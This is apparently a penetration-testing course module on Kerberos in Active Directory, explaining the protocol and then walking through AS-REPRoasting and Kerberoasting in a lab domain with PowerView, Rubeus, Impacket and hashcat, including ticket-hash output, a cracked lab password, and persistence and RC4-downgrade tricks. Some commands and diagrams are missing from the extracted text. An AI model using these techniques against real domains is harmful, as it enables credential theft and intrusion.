Kerberos Attacks
Kerberos Attacks
Kerberos Attacks
Kerberos Overview
Kerberos is a protocol that allows users to authenticate on the network and access services
once authenticated. Kerberos uses port 88 by default and has been the default
authentication protocol for domain accounts since Windows 2000. When a user logs into
their PC, Kerberos is used to authenticate them. It is used whenever a user wants to access
a service on the network. Thanks to Kerberos, a user doesn't need to type their password in
constantly, and the server won't need to know every user's password. This is an example of
centralized authentication.
Basic Understanding
At a very high level, when a user wants to interact with available resources on the network,
the following occurs:
This process takes place in two stages. First, via a ticket request to identify a user's TGT ,
and then a request to access services using a Ticket Granting Service ( TGS ) ticket or
Service Ticket ( ST ).
Note: Ticket Granting Service (TGS) is a component of the Key Distribution Center
(KDC), which is responsible for issuing service tickets.
Note: Throughout the module, when we use the term TGS ticket , it is as if we are referring
to a Service Ticket (ST) .
Kerberos Benefits
With all the talk about Kerberos attacks and the dangers of the Golden Ticket attack, it is
easy to think it is an inferior authentication protocol. Before Kerberos, authentication
happened over SMB / NTLM , and the user's hash was stored within memory upon
authentication. If a target machine was compromised and the NTLM hash was stolen, the
attacker could access anything that the user account had access to via a Pass-The-Hash
attack. As previously mentioned, Kerberos tickets do not contain a user's password and will
specify the machine to which the ticket grants access.
This is why the Double Hop Problem exists when accessing machines remotely via WinRM .
When a non-Kerberos protocol is utilized to access a machine remotely, it is possible to use
that connection to access other machines as that user without re-prompting for
authentication because the NTLM password hash is tied to that session. With Kerberos
authentication, credentials must be specific for every machine they want to access because
there is no password. For more on this topic, refer to the Kerberos "Double Hop" Problem
section of the Active Directory Enumeration & Attacks module.
Suppose a compromised machine with active sessions is authenticated via Kerberos. In that
case, performing a Pass-The-Ticket attack is possible, which will be explained and
demonstrated later in this module. However, unlike Pass-The-Hash , the attacker will be
limited to the resources that the victim user authenticated against. Additionally, these tickets
have a lifetime, meaning the attacker has a limited time window to access the resource(s)
and attempt to establish persistence.
Next Steps
The following section explains the Kerberos authentication process in detail, including how
the tickets are protected and what they contain. An understanding of this process is essential
before diving into Kerberos-related attacks. There are many ways that Kerberos can be
abused within an Active Directory environment for lateral movement, privilege escalation,
and persistence. We will encounter many of these techniques during our penetration tests
and red team assessments. As security practitioners, we must deeply understand how
Kerberos works and how it can be abused to our benefit. It is also essential to explain how
Kerberos attacks work and how customers can protect against them and set up proper
monitoring to detect Kerberos abuse.
In a Kerberos context, there are three entities when a user wants to access a service: the
user , the service , and the authentication server, also known as the Key Distribution
Center , or KDC.
We will zoom in on how the Kerberos protocol works to fully understand it and what it is used
for.
Why Kerberos?
The first question we can ask ourselves is, what is this protocol used for?
On the one hand, it is used to centralize authentication to avoid all services having to
know every user's credentials. This is extremely practical in a context where users are
regularly updated, whether because of a password change, the addition of a new user, or the
deactivation or deletion of a user. If all services had to know the status of all users, this
would create immense complexity. Instead, only one entity, the KDC, must have an up-to-
date list of existing users.
On the other hand, this protocol allows users to authenticate against services without
sending a password over the network . This is an excellent security measure to protect
against man-in-the-middle (also known as on-path ) attacks.
High-level overview
Tickets
To meet both needs, Kerberos uses secret keys and a ticketing mechanism. The secret keys
are, in practice, in an Active Directory environment, the passwords of the different accounts
(or at least a hash of these passwords).
1. To start, the user will request the first ticket from the key server (the KDC), proving they
are who they claim to be. This is when the client authenticates to the KDC. This
ticket, called a TGT (Ticket Granting Ticket), is the user's identity card. It contains all the
information about the user, such as name, date of account creation, security information
about the user, the groups to which the user belongs, etc. This identity card, the TGT, is
limited to a few hours by default. This ticket is presented for all other requests to the
KDC.
2. Once this TGT has been obtained, the user will present it to the KDC each time they
need to access a service. The KDC will then verify that the submitted TGT is valid and
that the user did not forge it, and if so, it will return a Ticket Granting Service (TGS)
ticket or Service Ticket (ST) to the user. A copy of the user's information in the TGT is
included in the TGS ticket.
3. Now that the user has a TGS ticket for a particular service, they will present this TGS
ticket to the service to use it. The service will then check the validity of this ticket, and if
all is well, it will read the content of the user's information to determine if the user is
entitled to use the requested service. It is, therefore, the service that checks the
user's access rights .
Ticket Protection
Thanks to this diagram, we understand the different exchanges well. However, as explained
above, the TGT and TGS ticket contain all the information related to the user. The service
uses this information to verify the user's access rights.
This information provided by the KDC must be protected. The user must not be able to forge
it. This is where encryption keys come into play.
Each account has a password or secret, which acts as an encryption and decryption key.
The KDC knows the keys of all users. To protect the tickets, here is how these keys are
used.
1. The TGT sent by the KDC to the user is encrypted using the secret key of the
KDC , which only the KDC knows. Thus, the user cannot read or modify the information
about themself. The KDC itself protects it.
2. The TGS ticket sent by the KDC to the user is encrypted using the service's
secret key . In the same way, as the user does not know the service key, they cannot
modify the information in the TGS ticket . On the other hand, when they send this TGS
ticket to the service, the latter can decrypt the ticket's content and read the user's
information.
Technical Details
We will now go into detail to understand how the authentication process fits all together and
the protection mechanisms it utilizes against numerous attacks. We have seen that access
to a service is carried out in three phases. These phases are named as follows:
The client sends a request in each phase, and the server responds. We will describe how
these three exchanges work, how the tickets are protected, and with what key.
To prove their identity, the user will send an authenticator . It’s the current timestamp that
the user will encrypt with their key. The username is also sent in cleartext so the KDC can
know whom it is dealing with.
Upon receiving this request, the KDC will retrieve the username, look for the associated key
in its directory, and attempt to decrypt the authenticator. If it succeeds, it means that the user
has used the same key as the one registered in its database, so they are authenticated.
Otherwise, authentication fails.
This step, called pre-authentication , is not mandatory, but all accounts must do it by
default . However, it should be noted that an administrator can disable pre-authentication.
In this case, the client no longer needs to send an authenticator. The KDC will send the TGT
no matter what happens. We'll talk about this in another section.
Response (AS-REP)
The KDC, therefore, received the client's request for a TGT. If the KDC successfully decrypts
the authenticator (or if pre-authentication is disabled for the client), it sends a response
called AS-REP to the user.
To protect the rest of the exchanges, the KDC will generate a temporary session key
before replying to the user. The client will use this key for further exchanges. The KDC
avoids encrypting all information with the user's key. We stated earlier that Kerberos is a
state-less protocol, so the KDC will not store this session key anywhere.
There are two elements that we will find in the AS-REP response:
1. First, we are waiting for the TGT that the user requested. It contains all the user's
information and is protected with the KDC's key, so the user can't tamper with it. It also
contains a copy of the generated session key .
2. Second is the session key , but this time protected with the user's key .
Therefore, this session key is duplicated in the response—one version is protected with the
KDC's key, and another is protected with the user's key.
Ticket-Granting Service (TGS)
The Ticket-Granting Service is a component of the Key Distribution Center (KDC) that is
responsible for issuing service tickets.
Typically hosted on a domain controller in the Active Directory domain. When a user or
computer requests a service ticket, the request is sent to the TGS component of the KDC,
which verifies the user's or computer's identity and checks their authorization to access the
requested resource before issuing a service ticket that can be used to gain access to the
resource.
Request (TGS-REQ)
The client now has a response from the server to its TGT request. This response contains
the TGT, protected by the KDC's key, and a session key, protected by the client's/user's key.
It can then decrypt this information to extract this temporary session key.
The next step for the user is to request a Service Ticket ST or TGS ticket with a TGS-REQ
message. To do this, they will transmit three things to the KDC:
1. The name of the service they wish to access (SERVICE/HOST, which is the Service
Principal Name (SPN) representation)
2. The TGT they previously received, containing their information and a copy of the
session key
3. An authenticator, which will be encrypted using the session key at this time
Response (TGS-REP)
The KDC receives this TGS request, but Kerberos is a stateless protocol. Thus, the KDC has
no idea what information has been exchanged before. It must still verify that the TGS request
is valid. It must verify that the authenticator has been encrypted with the correct session key
to do this. And how does the KDC know if the session key used is correct? Remember that
there was a copy of the session key in the TGT. The KDC will decrypt the TGT (checking its
authenticity along the way) and extract the session key. With this session key, it will be able
to verify the authenticator's validity.
If all this is done correctly, the KDC only has to read the requested service and respond to
the user with a TGS-REP message. We saw earlier that a session key had been generated
for the exchanges between the user and the KDC. Well, it's the same thing here. A new
session key is generated for future exchanges between the user and the service. And as
before, this session key will be present in two places in the response sent by the KDC to the
user. Here are all the elements sent by the KDC:
All this information is encrypted with the user/KDC session key. Within this encrypted
response, the user's information and the copy of the user/service session key are also
encrypted with the service key. A diagram will help make this clearer.
https://t.me/offenciveSec
The user will only transmit this TGS ticket to the service, and just like with the TGS request,
Conclusion
As you can see, the whole process relies on shared keys and is a three-entity job. It protects
users and services against ticket stealing and replaying, as the attackers would not know the
keys to issue valid authenticators. However, there are still weaknesses and
misconfigurations that we can exploit to attack Kerberos, which we'll cover in the following
sections.
If you want to explore further explanations of the Kerberos protocol, its operation, and its
components, you can review ATTL4S' posts on his blog and YouTube channel video:
[English] You Do (Not) Understand Kerberos.
Now that we've covered the basic principles of Kerberos, we'll dive into the exploitation and
dissection of specific weaknesses or opportunities offered by this protocol.
For example, we will highlight attacks related to ticket requests, ticket forging, and
delegation. We will also see that performing user reconnaissance using this protocol and
even password spraying to find some accounts' passwords is possible.
AS-REQ Roasting
When requesting a TGT (AS-REQ), we saw that by default , a user must authenticate via
an
Similarly, when a user has a TGT, they can request a Service Ticket for any existing service.
The KDC response (TGS-REP) contains information encrypted with the secret of the
service account . If the service account has a weak password, it is possible to perform the
same offline attack to retrieve the password for that account.
Moving On
Now that we've covered the nitty gritty of the Kerberos authentication process and a brief
overview of the possible attacks against it, let's dig into each attack individually and try them
out in the accompanying labs.
AS-REPRoasting
AS-REPRoasting is the most basic Kerberos attack and targets "Pre-Authentication." This is
rare in an organization but is one of the few Kerberos attacks that do not require any form of
prior authentication. The only information the attacker needs is the username they want to
attack, which can also be found using other enumeration techniques. Once the attacker has
the username, they send a special AS_REQ (Authentication Service Request) packet to the
KDC (Key Distribution Center), pretending to be the user. The KDC sends back an AS_REP,
which contains a portion of information encrypted with a key derived from the user's
password. The key can be cracked offline to obtain the user's password.
If an account has pre-authentication disabled, an attacker can obtain an encrypted TGT for
the affected account without any prior authentication. These tickets are vulnerable to offline
password attacks using a tool like Hashcat or John the Ripper.
So, in a nutshell, it's possible to obtain the Ticket Granting Ticket (TGT) for any account that
has the "Do not require Kerberos preauthentication" setting enabled.
Many vendor installation guides specify that their service account be configured this way.
The authentication service reply (AS-REP) is encrypted with the account’s password, and
anyone on the network can request it.
This setting can be enumerated with Impacket , PowerView , or built-in tools such as the
PowerShell AD module.
The attack can be performed with Impacket, the Rubeus toolkit and other tools to obtain the
ticket for the target account. As mentioned, it is relatively rare to encounter accounts with this
setting enabled. While we might still see it during our assessments from time to time, it is
usually far less present than Service Principal Names (SPNs), which are often subject to a
Kerberoasting attack that we will cover later in this module.
There are other ways we can leverage this attack, though. Suppose an attacker has
GenericWrite or GenericAll permissions over an account. In that case, they can enable
this attribute and obtain the AS_REP ticket for offline cracking to recover the account's
password before disabling it again. This can also be referred to as a "targeted AS-
REPRoasting attack," in which we can enable the setting and AS-REPRoast the account.
Still, success depends on the user having a relatively weak password.
Let's work through some examples of performing this attack from a Windows host.
Enumeration
PowerView can be used to enumerate users with their UserAccountControl ( UAC ) property
flag set to DONT_REQ_PREAUTH .
logoncount : 0
badpasswordtime : 12/31/1600 7:00:00 PM
distinguishedname : CN=Jenna Smith,OU=Server
Team,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
objectclass : {top, person, organizationalPerson, user}
displayname : Jenna Smith
userprincipalname : jenna.smith@inlanefreight
name : Jenna Smith
objectsid : S-1-5-21-2974783224-3764228556-2640795941-
1999
samaccountname : jenna.smith
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 8/3/2020 8:51:43 PM
instancetype : 4
usncreated : 19711
objectguid : ea3c930f-aa8e-4fdc-987c-4a9ee1a75409
sn : smith
lastlogoff : 12/31/1600 7:00:00 PM
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
dscorepropagationdata : {7/30/2020 6:28:24 PM, 7/30/2020 3:09:16
AM, 7/30/2020 3:09:16 AM, 7/28/2020 1:45:00
AM...}
givenname : jenna
memberof : CN=Schema
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
lastlogon : 12/31/1600 7:00:00 PM
badpwdcount : 0
cn : Jenna Smith
useraccountcontrol : PASSWD_NOTREQD, NORMAL_ACCOUNT,
DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH
whencreated : 7/27/2020 7:35:57 PM
primarygroupid : 513
pwdlastset : 7/27/2020 3:35:57 PM
msds-supportedencryptiontypes : 0
usnchanged : 89508
We can also use the Rubeus tool to look for accounts that do not require pre-authentication
with the preauthscan action.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[email protected]:9369076320<SNIP>
Hash Cracking
The tool returns a list of hashes associated with the various TGTs. All that's left to do is to
use Hashcat to try and retrieve the clear text password associated with these different
accounts. The Hashcat hash-mode is 18200 ( Kerberos 5, etype 23, AS-REP ).
Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
[email protected]:c4caff1049fd667...9b96189d8804:dancing_queen101
<SNIP>
As we can see, Hashcat successfully cracked the password for one of the two AS-
REPRoastable users. In a real engagement, we could then see if this user's account could
be used to either give us an initial foothold in the domain, move laterally, and spread our
influence, or help us to escalate our privileges.
Onwards
Now that we have seen how to perform this attack from a Windows host, we will cover
performing an AS-REPRoasting attack from a Linux machine.
Note: When working with Kerberos on Linux, we need to use the target's DNS server or
configure our host machine with the corresponding DNS entries for the domain we are
targetting. That is, we need to have an entry in /etc/hosts for the domain/Domain
Controller before attacking it.
GetNPUsers.py inlanefreight.local/pixis
Name MemberOf
PasswordLastSet LastLogon UAC
----------- --------------------------------------------------- --------
------------------ -------------------------- --------
amber.smith 2020-07-
27 21:35:52.333183 2020-07-28 20:34:15.215302 0x410220
jenna.smith CN=Schema Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2020-07-
27 21:35:57.901421 <never> 0x410220
Now that we have a list of vulnerable accounts, we can request their hashes in Hashcat's
format by adding the -request parameter to our command.
Name MemberOf
PasswordLastSet LastLogon UAC
----------- --------------------------------------------------- --------
------------------ -------------------------- --------
amber.smith 2020-07-
27 21:35:52.333183 2020-07-28 20:34:15.215302 0x410220
jenna.smith CN=Schema Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2020-07-
27 21:35:57.901421 2020-08-12 16:20:21.383297 0x410220
[email
protected]:d28eecddc8c5e18157b3d73ec4a68aa5$2a881995d52a313d265<SNIP>
[email
protected]:e65a2fa83383a0c1f189408c07fe6d32$5b0478cd94258778478<SNIP>
We may receive an error, but we will still get the hash of the account:
User Hash
cat /tmp/hashes.txt
$krb5asrep$23$amber.smith@INLANEFREIGHT:d28eecddc8c5e18157b3d73ec4a68aa5$2
a881995d52a313d265<SNIP>
Persistence : Setting this bit (i.e., the DONT_REQ_PREAUTH flag) on accounts would
allow attackers to regain access to accounts in case of a password change. This is
useful because it lets the team establish persistence on boxes that are likely outside the
scope of monitoring (e.g., Printers) and still have a high probability of gaining access to
the domain at any time. We may see this setting enabled on service accounts used by
old management applications, and if discovered, the blue team may ignore them.
Privilege Escalation : There are many scenarios where an attacker can change any
attribute of an account but not the ability to log in without knowing or resetting the
password. Password resets are dangerous as they have a high probability of raising
alarms. Instead of resetting the password, attackers can enable this bit and attempt to
crack the account's password hash.
Conclusion
AS-REPRoasting is a powerful technique to find and crack passwords of accounts with pre-
authentication disabled. This setting is not highly prevalent, but we will see it
occasionally, and its success depends on an account having a cryptographically weak
password such that it can be cracked in a reasonable amount of time (with a tool such as
Hashcat ).
Kerberoasting
When a service is registered, a Service Principal Name (SPN) is added to Active Directory
and is an alias to an actual AD Account. The information stored in Active Directory includes
the machine name, port, and the AD Account's password hash. In a proper configuration,
"Service Accounts" are utilized with these SPNs to guarantee a strong password. These
accounts are like machine accounts and can even have self-rotating passwords.
It is common to see SPNs tied to User Accounts because setting up Service Accounts can
be tricky, and not all vendors support them. Worst of all, the service account may break
things after 30 days when it attempts to rotate the password. For System Administrators (and
vendors), the primary focus is uptime, which often causes them to default to using "User
Accounts", which is fine as long as they assign the account a strong password.
During a penetration test, if an SPN is found tied to a user account and cracking was
unsuccessful, it should be marked as a low severity finding and just noted that this allows
attackers to perform offline password cracking attacks against this account. The potential
risk here is that if, someday, this account's password is set to something weaker that an
attacker can crack. In this example, a low-severity finding's primary purpose is to ensure that
the client is educated about the consequences of such risky actions and how they can be
done securely.
Technical Details
In the previous sections, we've discussed how Kerberos works, particularly the Service
Ticket (ST) request made by a user to consume a service.
When the KDC responds to a TGS request, here is the message it sends:
This message is fully encrypted with the session key shared between the user and the KDC,
so the user can decrypt it because they know it. However, the embedded TGS ticket or
Service Ticket (ST) is encrypted with the service account's secret key. The user,
therefore, has a piece of data encrypted with the service account's password .
A user can request a Service Ticket (ST) for all available services existing on the
Active Directory environment and have those tickets encrypted with the secret of each
service account in their possession.
Now that they have a Service Ticket (ST) encrypted with a service account's password,
the user can perform an offline brute-force attack to try to recover the password in clear text.
However, most services are executed by machine accounts ( COMPUTERNAME$ ), which have
120 characters long randomly generated passwords, making it impractical to brute force.
Luckily, sometimes services are executed by user accounts . These are the services we
are interested in. A user account has a password set by a human, which is much more likely
to be predictable. These are the accounts that the Kerberoast attack targets. When SPN
accounts are set to use the RC4 encryption algorithm, the tickets can be much easier to
crack offline. We may run into organizations using only the legacy, cryptographically insecure
RC4 encryption algorithm. In contrast, other mature organizations employ only AES
(Advanced Encryption Standard), which can be much more challenging to crack, even on a
robust password-cracking rig.
Manual Detection
We then look for user accounts (not machine accounts) exposing a service. An account that
exposes a service has a Service Principal Name (or SPN). It is an LDAP attribute set on the
account indicating the list of existing services provided by this account. If this attribute is not
empty, this account offers at least one service.
&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)
This filter returns a list of users with a non-empty SPN. A small PowerShell script allows us
to automate finding these accounts in an environment:
This script connects to the Domain Controller and searches for all objects that match our
provided filter. Each result shows us its name (Distinguished Name) and the list of SPNs
associated with this account.
PS C:\Users\pixis> .\FindSPNAccounts.ps1
Users
====
krbtgt ( CN=krbtgt,CN=Users,DC=INLANEFREIGHT,DC=LOCAL )
SPNs
====
kadmin/changepw
User
====
sqldev ( CN=sqldev,OU=Service
Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL )
SPNs
====
MSSQL_svc_dev/inlanefreight.local:1443
User
====
sqlprod ( CN=sqlprod,OU=Service
Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL )
SPNs
====
MSSQLSvc/sql01:1433
User
====
sqlqa ( CN=sqlqa,OU=Service
Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL )
SPNs
====
MSSQL_svc_qa/inlanefreight.local:1443
User
====
sql-test ( CN=sql-test,OU=Service
Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL )
SPNs
====
MSSQL_svc_test/inlanefreight.local:1443
This script allows us to have a list of Kerberoastable accounts, but it does not perform a TGS
request and does not extract the hash we can brute force.
We can also use the Setspn built-in Windows binary to search for SPN accounts.
Automated Tools
PowerView can be used to enumerate users with an SPN set and request the Service
Ticket (ST) automatically to then output a crackable hash. We can use the following
method to enumerate accounts with SPNs set.
logoncount : 0
badpasswordtime : 12/31/1600 8:00:00 PM
description : Key Distribution Center Service Account
distinguishedname :
CN=krbtgt,CN=Users,DC=inlanefreight,DC=local
objectclass : {top, person, organizationalPerson, user}
name : krbtgt
primarygroupid : 513
objectsid : S-1-5-21-228825152-3134732153-3833540767-
502
samaccountname : krbtgt
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
showinadvancedviewonly : True
accountexpires : NEVER
cn : krbtgt
whenchanged : 5/4/2022 8:04:31 PM
instancetype : 4
objectguid : a68bfed4-1ccf-4b62-8efa-63b32841c05d
lastlogon : 12/31/1600 8:00:00 PM
lastlogoff : 12/31/1600 8:00:00 PM
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=inlanefreight,DC=local
dscorepropagationdata : {5/4/2022 8:04:31 PM, 5/4/2022 7:49:22 PM,
1/1/1601 12:04:16 AM}
serviceprincipalname : kadmin/changepw
memberof : CN=Denied RODC Password Replication
Group,CN=Users,DC=inlanefreight,DC=local
whencreated : 5/4/2022 7:49:21 PM
iscriticalsystemobject : True
badpwdcount : 0
useraccountcontrol : ACCOUNTDISABLE, NORMAL_ACCOUNT
usncreated : 12324
countrycode : 0
pwdlastset : 5/4/2022 3:49:21 PM
msds-supportedencryptiontypes : 0
usnchanged : 12782
<SNIP>
We can also use use PowerView to directly perform the Kerberoasting attack.
"SamAccountName","DistinguishedName","ServicePrincipalName","TicketByteHex
Stream","Hash"
"krbtgt","CN=krbtgt,CN=Users,DC=inlanefreight,DC=local","kadmin/changepw",
,"$krb5tgs$18$*krbtgt$inlanefreight.local$kadmin/changepw*$B6D1ECE203852A0
4E57DFDD47627CDCA$D75AF1139899CA82EDA1CC6B548AACFF04DA9451F6F37E641C44F27A
E2BAB86DB49F4913B5D09F447F7EEA97629A3C0FF93063F3B20273D0<SNIP>
Instead of the manual method shown above, we can use the Invoke-Kerberoast function
to perform this quickly.
Invoke-Kerberoast
SamAccountName : adam.jones
DistinguishedName : CN=Adam
Jones,OU=Operations,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : IIS_dev/inlanefreight.local:80
TicketByteHexStream :
Hash :
$krb5tgs$23$*adam.jones$INLANEFREIGHT.LOCAL$IIS_dev/inlanefreight.local:80
*$D7C42CD87BEF69BA275C9642BBEA9022BE3C1<SNIP>
SamAccountName : sqldev
DistinguishedName : CN=sqldev,OU=Service
Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQL_svc_dev/inlanefreight.local:1443
TicketByteHexStream :
Hash :
$krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$MSSQL_svc_dev/inlanefreight.local:
1443*$29A78F89AC24EADBB4532DF066B90F1D808A5<SNIP>
SamAccountName : sqlqa
DistinguishedName : CN=sqlqa,OU=Service
Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQL_svc_qa/inlanefreight.local:1443
TicketByteHexStream :
Hash :
$krb5tgs$23$*sqlqa$INLANEFREIGHT.LOCAL$MSSQL_svc_qa/inlanefreight.local:14
43*$895B5A094F49081330D4AEA7C1254F37EEAD7<SNIP>
SamAccountName : sql-test
DistinguishedName : CN=sql-test,OU=Service
Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQL_svc_test/inlanefreight.local:1443
TicketByteHexStream :
Hash : $krb5tgs$23$*sql-
test$INLANEFREIGHT.LOCAL$MSSQL_svc_test/inlanefreight.local:1443*$68F3B218
22B3C16D272F38A5658E20F580037<SNIP>
SamAccountName : sqlprod
DistinguishedName : CN=sqlprod,OU=Service
Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQLSvc/sql01:1433
TicketByteHexStream :
Hash :
$krb5tgs$23$*sqlprod$INLANEFREIGHT.LOCAL$MSSQLSvc/sql01:1433*$EE29DA2458CA
695EC2EDE568E9918909F7A05<SNIP>
Another great (and fast) way to perform Kerberoasting is with the Rubeus tool. In Rubeus's
documentation, there are various options for the Kerberoasting attack.
We can use Rubeus to Kerberoast all available users and return their hashes for offline
cracking.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
We can also Kerberoast a specific user and write the result to a file using the flag
/outfile:filename.txt .
We can use the /stats flag to list statistics about Kerberoastable accounts without sending
any ticket requests. This can be useful for gathering information and checking the types of
encryption the account tickets use.
The /tgtdeleg flag can be useful for us in situations where we find accounts with the
options This account supports Kerberos AES 128-bit encryption or This account
supports Kerberos AES 256-bit encryption set, meaning that when we perform a
Kerberoast attack, we will get a AES-128 (type 17) or AES-256 (type 18) TGS tickets
back which can be significantly more difficult to crack than RC4 (type 23) tickets. We will
know the difference because an RC4 encrypted ticket will return a hash that starts with the
$krb5tgs$23$* prefix, while AES encrypted tickets will give us a hash that begins with
$krb5tgs$18$* .
In cases where we receive the hash of the account with AES encryption (which is harder to
crack), we can use /tgtdeleg flag with Rubeus to force RC4 encryption. This may work in
some domains where RC4 is built-in as a failsafe for backward compatibility with older
services. If successful, we may get a password hash that could crack minutes or even hours
faster than if we were trying to crack an AES-encrypted hash.
Hash Cracking
Rubeus returns the list of hashes associated with the different TGS tickets or Service
Tickets (STs) . All that's left to do is to use hashcat to try and retrieve the clear text
password associated with these accounts. Hashcat hash-mode to use is 13100 ( Kerberos
5, etype 23, TGS-REP ).
Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated
To simulate that we don't have authentication, we will use Rubeus createnetonly and
utilize its CMD window to perform the attack.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
From the new cmd window opened, we will perform the attack; if we try to run the Kerberoast
option, it will fail because we are not authenticated.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
System.DirectoryServices.ActiveDirectory.ActiveDirectoryOperationException
: Current security context is not associated with an Active Directory
domain or forest.
at
System.DirectoryServices.ActiveDirectory.DirectoryContext.GetLoggedOnDomai
n()
at
System.DirectoryServices.ActiveDirectory.DirectoryContext.IsContextValid(D
irectoryContext context, DirectoryContextType contextType)
at System.DirectoryServices.ActiveDirectory.DirectoryContext.isDomain()
at
System.DirectoryServices.ActiveDirectory.Domain.GetDomain(DirectoryContext
context)
at Rubeus.Commands.Kerberoast.Execute(Dictionary`2 arguments)
at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName,
Dictionary`2 arguments)
at Rubeus.Program.MainExecute(String commandName, Dictionary`2
parsedArgs)
Now, if we include a user with DONT_REQ_PREAUTH set such as amber.smith and an SPN
such as MSSQLSvc/SQL01:1433 , it will return a ticket:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
Onwards
Now that we have seen how to perform Kerberoasting from a Windows host, we will cover
performing it from a Linux machine.
Linux
To perform Kerberoasting from Linux, we will use the GetUserSPNs.py tool from the
impacket suite. This tool can search for all Kerberoastable accounts, extract the data
encrypted with the password of the service account, and return a hashcat-friendly hash for
further cracking.
Running GetUserSPNs.py without parameters will produce similar output to our PowerShell
FindSPNAccounts.ps1 script developed in the previous section.
GetUserSPNs.py inlanefreight.local/pixis
Password:
ServicePrincipalName Name MemberOf
PasswordLastSet LastLogon Delegation
--------------------------------------- ---------- ---------------------
-------------------------------- -------------------------- --------- -
------------
MSSQL_svc_dev/inlanefreight.local:1443 sqldev CN=Protected
Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2020-07-27 20:46:20.558388
<never> unconstrained
MSSQLSvc/sql01:1433 sqlprod CN=Protected
Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2020-07-27 20:46:27.558399
<never>
MSSQL_svc_qa/inlanefreight.local:1443 sqlqa CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2020-07-27 20:46:33.792787
<never>
MSSQL_svc_test/inlanefreight.local:1443 sql-test
2020-07-27 20:47:07.574105 <never>
IIS_dev/inlanefreight.local:80 adam.jones
2020-07-27 21:35:57.069094 <never>
Now that we know there are Kerberoastable accounts, we can request a TGS ticket or
Service Ticket (ST) for each of them and obtain a crackable hash in hashcat's (and John
the Ripper's) format with the -request argument.
Password:
ServicePrincipalName Name MemberOf
PasswordLastSet LastLogon Delegation
--------------------------------------- ---------- ---------------------
-------------------------------- -------------------------- --------- -
------------
MSSQL_svc_dev/inlanefreight.local:1443 sqldev CN=Protected
Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2020-07-27 20:46:20.558388
<never> unconstrained
MSSQLSvc/sql01:1433 sqlprod CN=Protected
Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2020-07-27 20:46:27.558399
<never>
MSSQL_svc_qa/inlanefreight.local:1443 sqlqa CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2020-07-27 20:46:33.792787
<never>
MSSQL_svc_test/inlanefreight.local:1443 sql-test
2020-07-27 20:47:07.574105 <never>
IIS_dev/inlanefreight.local:80 adam.jones
2020-07-27 21:35:57.069094 <never>
$krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$MSSQL_svc_dev/inlanefreight.local~
1443*$f06349cf7220c21cde1236e53a491a67$c4c2079e9b<SNIP>
$krb5tgs$23$*sqlprod$INLANEFREIGHT.LOCAL$MSSQLSvc/sql01~1433*$577b69c3a2ab
cff0fc3318fd94f90014$9272d9d177c6147a1b773ba12f95<SNIP>
$krb5tgs$23$*sqlqa$INLANEFREIGHT.LOCAL$MSSQL_svc_qa/inlanefreight.local~14
43*$edaecbbcd610e2dd3ef39d6ea2cb3838$b5dbb92fb35b<SNIP>
$krb5tgs$23$*sql-
test$INLANEFREIGHT.LOCAL$MSSQL_svc_test/inlanefreight.local~1443*$989e43ca
34c03490e7de627135599ab4$832a1d7<SNIP>
$krb5tgs$23$*adam.jones$INLANEFREIGHT.LOCAL$IIS_dev/inlanefreight.local~80
*$2b9cfebc5043606bbebb9f140bdf48cb$c05bf3d19a3e26<SNIP>
Cracking
After GetUserSPNs.py returned the list of hashes associated with the different Service
Tickets (STs) , we will use hashcat to try and retrieve the clear text password associated
